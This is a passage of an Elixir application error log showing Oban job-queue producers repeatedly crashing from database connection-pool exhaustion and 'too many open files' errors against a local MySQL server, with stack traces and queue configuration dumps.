State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:54:12.238620Z], limit: 50, uuid: "82c4fc6f-16dc-4c2f-907f-cc2a52e6298c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:12.238626Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.228411>, refresh_timer: #Reference<0.2525715032.1121189889.228360>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:54:12.240287Z], limit: 5, uuid: "9013b4bf-3988-40ab-8a6b-3b7b995bf9fa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:12.240293Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.228412>, refresh_timer: #Reference<0.2525715032.1099431938.73159>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:54:12.240233Z], limit: 3, uuid: "788f9628-d915-4102-a09b-be6acde46266", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:12.240239Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.228413>, refresh_timer: #Reference<0.2525715032.1099431938.73156>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:54:12.237952Z], limit: 20, uuid: "fc1c535b-9268-4e57-9139-e08f72b93250", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:12.237959Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.228409>, refresh_timer: #Reference<0.2525715032.1121189889.228348>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:25.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:26.542000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:26.718000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:28.911000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:30.164000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:30.246000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:54:24.240566Z], limit: 20, uuid: "14728985-440e-4d9d-bddd-1cae67eb57ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:24.240572Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.228780>, refresh_timer: #Reference<0.2525715032.1121189889.228769>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:54:24.239743Z], limit: 3, uuid: "00a4b7a6-7473-4470-aef7-93cadaf360ef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:24.239747Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.228783>, refresh_timer: #Reference<0.2525715032.1077673987.61187>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:54:24.239655Z], limit: 50, uuid: "6ae6f179-6a40-4fc3-a4e3-2b729d8fbd00", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:24.239659Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.228782>, refresh_timer: #Reference<0.2525715032.1099431938.73257>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:54:24.239597Z], limit: 10, uuid: "0be12740-bfc7-4567-9e8a-c40a24938334", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:24.239603Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73283>, refresh_timer: #Reference<0.2525715032.1099431938.73255>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:54:24.239597Z], limit: 5, uuid: "06a0154a-b0ea-403b-85c8-12badbf0138f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:24.239604Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.228781>, refresh_timer: #Reference<0.2525715032.1121189889.228760>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
